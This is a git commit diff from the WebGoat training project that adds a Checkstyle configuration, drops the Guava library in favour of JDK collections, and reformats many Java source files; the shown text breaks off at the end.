Code style (#696)

* Remove Guava dependency from WebGoat

* Add Checkstyle to the project with very basic standards so we have a
style across lessons. It does not interfere with basic Intellij formatting
This commit is contained in:
Nanne Baars 2019-11-03 18:11:09 +01:00 committed by René Zubcevic
parent 66bd1d8c1a
commit 1a83e2825e
94 changed files with 829 additions and 828 deletions

259
config/checkstyle/checkstyle.xml Executable file
View File

@ -0,0 +1,259 @@
<?xml version="1.0"?>
<!DOCTYPE module PUBLIC
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
<!--
Checkstyle configuration that checks the Google coding conventions from Google Java Style
that can be found at https://google.github.io/styleguide/javaguide.html.
Checkstyle is very configurable. Be sure to read the documentation at
http://checkstyle.sf.net (or in your downloaded distribution).
To completely disable a check, just comment it out or delete it from the file.
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
-->
<module name="Checker">
<property name="charset" value="UTF-8"/>
<property name="severity" value="error"/>
<property name="fileExtensions" value="java, properties, xml"/>
<!-- Checks for whitespace -->
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
<module name="SuppressionFilter">
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
</module>
<module name="TreeWalker">
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format" value="org\.junit\.Assert\.assert"/>
<property name="message"
value="Please use AssertJ imports."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
<property name="regexp" value="true"/>
<property name="illegalPkgs"
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
<property name="illegalClasses"
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
<property name="message"
value="Please use specialized AssertJ assertThat*Exception method."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format"
value="@SneakyThrows"/>
<property name="message"
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
<property name="ignoreComments" value="true"/>
</module>
<module name="OuterTypeFilename"/>
<module name="IllegalTokenText">
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
<property name="format"
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
<property name="message"
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
</module>
<module name="AvoidEscapedUnicodeCharacters">
<property name="allowEscapesForControlCharacters" value="true"/>
<property name="allowByTailComment" value="true"/>
<property name="allowNonPrintableEscapes" value="true"/>
</module>
<module name="OneTopLevelClass">
<property name="severity" value="warning"/>
</module>
<module name="NoLineWrap"/>
<module name="EmptyBlock">
<property name="option" value="TEXT"/>
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
</module>
<module name="WhitespaceAround">
<property name="allowEmptyConstructors" value="true"/>
<property name="allowEmptyMethods" value="true"/>
<property name="allowEmptyTypes" value="true"/>
<property name="allowEmptyLoops" value="true"/>
<message key="ws.notFollowed"
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
<message key="ws.notPreceded"
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
</module>
<module name="OneStatementPerLine"/>
<module name="MultipleVariableDeclarations"/>
<module name="ArrayTypeStyle"/>
<module name="MissingSwitchDefault"/>
<module name="FallThrough"/>
<module name="UpperEll"/>
<module name="ModifierOrder"/>
<module name="EmptyLineSeparator">
<property name="allowNoEmptyLineBetweenFields" value="true"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapDot"/>
<property name="tokens" value="DOT"/>
<property name="option" value="nl"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapComma"/>
<property name="tokens" value="COMMA"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
<property name="id" value="SeparatorWrapEllipsis"/>
<property name="tokens" value="ELLIPSIS"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
<property name="id" value="SeparatorWrapArrayDeclarator"/>
<property name="tokens" value="ARRAY_DECLARATOR"/>
<property name="option" value="EOL"/>
</module>
<module name="SeparatorWrap">
<property name="id" value="SeparatorWrapMethodRef"/>
<property name="tokens" value="METHOD_REF"/>
<property name="option" value="nl"/>
</module>
<module name="PackageName">
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
<message key="name.invalidPattern"
value="Package name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="TypeName">
<message key="name.invalidPattern"
value="Type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MemberName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
<message key="name.invalidPattern"
value="Member name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
<message key="name.invalidPattern"
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="CatchParameterName">
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="LocalVariableName">
<property name="tokens" value="VARIABLE_DEF"/>
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
<message key="name.invalidPattern"
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="ClassTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Class type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="MethodTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Method type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="InterfaceTypeParameterName">
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
<message key="name.invalidPattern"
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="NoFinalizer"/>
<module name="GenericWhitespace">
<message key="ws.followed"
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
<message key="ws.preceded"
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
<message key="ws.illegalFollow"
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
<message key="ws.notPreceded"
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
</module>
<module name="AbbreviationAsWordInName">
<property name="ignoreFinal" value="false"/>
<property name="allowedAbbreviationLength" value="4"/>
<property name="severity" value="warning"/>
</module>
<module name="OverloadMethodsDeclarationOrder"/>
<module name="VariableDeclarationUsageDistance"/>
<module name="CustomImportOrder">
<property name="sortImportsInGroupAlphabetically" value="false"/>
<property name="separateLineBetweenGroups" value="true"/>
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
</module>
<module name="MethodParamPad"/>
<module name="NoWhitespaceBefore">
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
<property name="allowLineBreaks" value="true"/>
</module>
<module name="ParenPad"/>
<module name="OperatorWrap">
<property name="option" value="NL"/>
<property name="tokens"
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationMostCases"/>
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
</module>
<module name="AnnotationLocation">
<property name="id" value="AnnotationLocationVariables"/>
<property name="tokens" value="VARIABLE_DEF"/>
<property name="allowSamelineMultipleAnnotations" value="true"/>
</module>
<module name="NonEmptyAtclauseDescription"/>
<module name="JavadocTagContinuationIndentation"/>
<module name="SummaryJavadoc">
<property name="forbiddenSummaryFragments"
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocParagraph">
<property name="severity" value="warning"/>
</module>
<module name="AtclauseOrder">
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
<property name="severity" value="warning"/>
</module>
<module name="JavadocMethod">
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
<property name="scope" value="public"/>
<property name="allowMissingParamTags" value="true"/>
<property name="allowMissingThrowsTags" value="true"/>
<property name="allowMissingReturnTag" value="true"/>
<property name="minLineCount" value="2"/>
<property name="allowedAnnotations" value="Override, Test"/>
<property name="allowThrowsTagsForSubclasses" value="true"/>
<property name="severity" value="warning"/>
</module>
<module name="MethodName">
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
<message key="name.invalidPattern"
value="Method name ''{0}'' must match pattern ''{1}''."/>
</module>
<module name="SingleLineJavadoc">
<property name="ignoreInlineTags" value="false"/>
</module>
<module name="EmptyCatchBlock">
<property name="exceptionVariableName" value="expected"/>
</module>
<module name="CommentsIndentation"/>
</module>
</module>

View File

@ -0,0 +1,11 @@
<?xml version="1.0"?>
<!DOCTYPE suppressions PUBLIC
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
<suppressions>
<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions>

13
pom.xml
View File

@ -178,6 +178,19 @@
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-checkstyle-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput>
<failsOnError>true</failsOnError>
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
</configuration>
</plugin>
</plugins>
</build>

View File

@ -116,11 +116,6 @@
<artifactId>commons-lang3</artifactId>
<version>${commons-lang3.version}</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>${guava.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>

View File

@ -49,7 +49,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
}
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
if(request.getHeader("x-requested-with") != null) {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());
} else {
super.commence(request, response, authException);

View File

@ -28,18 +28,13 @@
* @version $Id: $Id
* @since December 12, 2015
*/
package org.owasp.webgoat;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.OperatingSystemMacro;
import org.owasp.webgoat.asciidoc.WebGoatTmpDirMacro;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
import org.owasp.webgoat.asciidoc.*;
import org.owasp.webgoat.i18n.Language;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
@ -50,7 +45,9 @@ import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import static org.asciidoctor.Asciidoctor.Factory.create;
@ -70,7 +67,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
public AsciiDoctorTemplateResolver(Language language) {
this.language = language;
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
@ -81,7 +78,6 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
return new StringTemplateResource("");
} else {
StringWriter writer = new StringWriter();
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
@ -89,6 +85,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
}
@ -115,11 +112,11 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
}
private Map<String, Object> createAttributes() {
Map<String, Object> attributes = Maps.newHashMap();
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
Map<String, Object> options = Maps.newHashMap();
Map<String, Object> options = new HashMap<>();
options.put("attributes", attributes);
return options;

View File

@ -28,11 +28,9 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import com.google.common.io.ByteStreams;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
@ -41,7 +39,9 @@ import org.thymeleaf.templateresource.StringTemplateResource;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
/**
* Dynamically resolve a lesson. In the html file this can be invoked as:
@ -54,13 +54,13 @@ import java.util.Map;
*/
public class LessonTemplateResolver extends FileTemplateResolver {
private final static String PREFIX = "lesson:";
private static final String PREFIX = "lesson:";
private ResourceLoader resourceLoader;
private Map<String, byte[]> resources = Maps.newHashMap();
private Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
@ -69,7 +69,7 @@ public class LessonTemplateResolver extends FileTemplateResolver {
byte[] resource = resources.get(templateName);
if (resource == null) {
try {
resource = ByteStreams.toByteArray(resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream());
resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
} catch (IOException e) {
e.printStackTrace();
}

View File

@ -28,6 +28,7 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat;
import org.owasp.webgoat.i18n.Language;
@ -122,11 +123,6 @@ public class MvcConfiguration implements WebMvcConfigurer {
return engine;
}
/**
* This way we expose the plugins target directory as a resource within the web application.
*
* @param registry
*/
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");

View File

@ -28,6 +28,7 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat;
import org.owasp.webgoat.session.UserSessionData;

View File

@ -1,4 +1,3 @@
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
@ -28,6 +27,7 @@
* @version $Id: $Id
* @since December 12, 2015
*/
package org.owasp.webgoat;
import lombok.AllArgsConstructor;
@ -38,7 +38,6 @@ import org.springframework.context.annotation.Configuration;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;

View File

@ -22,6 +22,7 @@
* projects.
* <p>
*/
package org.owasp.webgoat.assignments;
import lombok.Getter;

View File

@ -1,7 +1,5 @@
package org.owasp.webgoat.assignments;
import org.springframework.core.annotation.AliasFor;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import java.lang.annotation.ElementType;
@ -14,15 +12,11 @@ import java.lang.annotation.Target;
*/
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
//@RequestMapping
public @interface AssignmentPath {
// @AliasFor(annotation = RequestMapping.class)
String[] path() default {};
// @AliasFor(annotation = RequestMapping.class)
RequestMethod[] method() default {};
// @AliasFor("path")
String value() default "";
}

View File

@ -25,7 +25,6 @@
package org.owasp.webgoat.assignments;
import com.google.common.base.Strings;
import lombok.Getter;
import org.apache.commons.lang3.StringEscapeUtils;
import org.owasp.webgoat.i18n.PluginMessages;

View File

@ -28,6 +28,7 @@
* @version $Id: $Id
* @since October 28, 2003
*/
package org.owasp.webgoat.controller;
import org.owasp.webgoat.lessons.Lesson;

View File

@ -28,6 +28,7 @@
* @since October 28, 2003
* @version $Id: $Id
*/
package org.owasp.webgoat.controller;
import org.springframework.stereotype.Controller;

View File

@ -22,6 +22,7 @@
* projects.
* <p>
*/
package org.owasp.webgoat.i18n;
import lombok.AllArgsConstructor;

View File

@ -25,9 +25,10 @@
package org.owasp.webgoat.i18n;
import lombok.SneakyThrows;
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
import java.io.IOException;
import java.net.URISyntaxException;
import java.net.URL;
import java.util.Enumeration;
import java.util.Properties;
@ -50,18 +51,23 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
}
@Override
@SneakyThrows
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
Properties properties = new Properties();
long lastModified = System.currentTimeMillis();
Enumeration<URL> resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
while (resources.hasMoreElements()) {
URL resource = resources.nextElement();
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
properties.putAll(holder.getProperties());
Enumeration<URL> resources = null;
try {
resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
while (resources.hasMoreElements()) {
URL resource = resources.nextElement();
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
properties.putAll(holder.getProperties());
}
} catch (IOException | URISyntaxException e) {
logger.error("Unable to read plugin message", e);
}
return new PropertiesHolder(properties, lastModified);
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import com.google.common.collect.Lists;
import lombok.*;
import javax.persistence.*;
import java.util.ArrayList;
import java.util.List;
/**
@ -45,7 +45,7 @@ public class Assignment {
private Long id;
private String name;
private String path;
@Transient
private List<String> hints;
@ -54,7 +54,7 @@ public class Assignment {
}
public Assignment(String name) {
this(name, name, Lists.newArrayList());
this(name, name, new ArrayList<>());
}
public Assignment(String name, String path, List<String> hints) {
@ -65,14 +65,15 @@ public class Assignment {
this.path = path;
this.hints = hints;
}
/**
* Set path is here to overwrite stored paths.
* Since a stored path can no longer be used in a lesson while
* the lesson (name) itself is still part of the lesson.
* @param pathName
*
* @param pathName the path
*/
public void setPath(String pathName) {
this.path = pathName;
this.path = pathName;
}
}

View File

@ -24,6 +24,7 @@
* projects.
*
*/
package org.owasp.webgoat.lessons;
import lombok.Value;

View File

@ -1,32 +1,32 @@
/**
* *************************************************************************************************
*
*
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
*/
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
@ -46,8 +46,6 @@ public class LessonMenuItem {
private boolean complete;
private String link;
private int ranking;
// private boolean showSource = true;
// private boolean showHints = true;
/**
* <p>Getter for the field <code>name</code>.</p>
@ -112,7 +110,6 @@ public class LessonMenuItem {
children.add(child);
}
/** {@inheritDoc} */
@Override
public String toString() {
StringBuilder bldr = new StringBuilder();

View File

@ -27,6 +27,7 @@
* for free software projects.
*
*/
package org.owasp.webgoat.lessons;
/**
@ -69,7 +70,6 @@ public class RequestParameter implements Comparable<RequestParameter> {
return value;
}
/** {@inheritDoc} */
@Override
public int compareTo(RequestParameter o) {
return this.name.compareTo(o.getName());

View File

@ -19,9 +19,9 @@
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.plugins;
import com.google.common.collect.Lists;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.ArrayUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
@ -39,9 +39,7 @@ import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.*;
import static java.util.stream.Collectors.groupingBy;
import static java.util.stream.Collectors.toList;
@ -70,7 +68,7 @@ public class CourseConfiguration {
var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
if (CollectionUtils.isEmpty(endpoints)) {
log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
return Lists.newArrayList();
return new ArrayList();
}
return endpoints.stream().map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))).collect(toList());
}
@ -110,8 +108,8 @@ public class CourseConfiguration {
private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
if (e.isAnnotationPresent(AssignmentHints.class)) {
return Lists.newArrayList(e.getAnnotationsByType(AssignmentHints.class)[0].value());
return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
}
return Lists.newArrayList();
return Collections.emptyList();
}
}

View File

@ -1,63 +0,0 @@
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpSession;
import java.util.List;
/**
* <p>CookieService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
public class CookieService {
/**
* Returns cookies for last attack
*
* @param session a {@link javax.servlet.http.HttpSession} object.
* @return a {@link java.util.List} object.
*/
@RequestMapping(path = "/service/cookie.mvc", produces = "application/json")
public @ResponseBody
List<Cookie> showCookies() {
//// TODO: 11/6/2016 to be decided
List<Cookie> cookies = Lists.newArrayList();
return cookies;
}
}

View File

@ -3,6 +3,7 @@
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package org.owasp.webgoat.service;
import org.owasp.webgoat.lessons.Assignment;

View File

@ -1,32 +1,32 @@
/**
* *************************************************************************************************
*
*
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
@ -73,20 +73,20 @@ public class LabelDebugService {
return new ResponseEntity<>(result, HttpStatus.OK);
}
/**
* Sets the enabled flag on the label debugger to the given parameter
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @throws Exception unhandled exception
* @return a {@link org.springframework.http.ResponseEntity} object.
*/
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
public @ResponseBody
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
Map<String, Object> result = createResponse(enabled);
labelDebugger.setEnabled(enabled);
return new ResponseEntity<>(result, HttpStatus.OK);
}
/**
* Sets the enabled flag on the label debugger to the given parameter
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
* @throws Exception unhandled exception
* @return a {@link org.springframework.http.ResponseEntity} object.
*/
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
public @ResponseBody
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
Map<String, Object> result = createResponse(enabled);
labelDebugger.setEnabled(enabled);
return new ResponseEntity<>(result, HttpStatus.OK);
}
/**
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object

View File

@ -26,6 +26,7 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
@ -67,21 +68,20 @@ public class LabelService {
* We use Springs session locale resolver which also gives us the option to change the local later on. For
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
* to messages.properties.
*
* <p>
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
* and every request to see if the language param has been set in the request.
*
* @param lang the language to fetch labels for (optional)
* @return a map of labels
* @throws Exception
*/
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang, HttpServletRequest request) {
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
if (!StringUtils.isEmpty(lang)) {
Locale locale = Locale.forLanguageTag(lang);
((SessionLocaleResolver)localeResolver).setDefaultLocale(locale);
((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
}
Properties allProperties = new Properties();

View File

@ -26,6 +26,7 @@
* Source for this application is maintained at
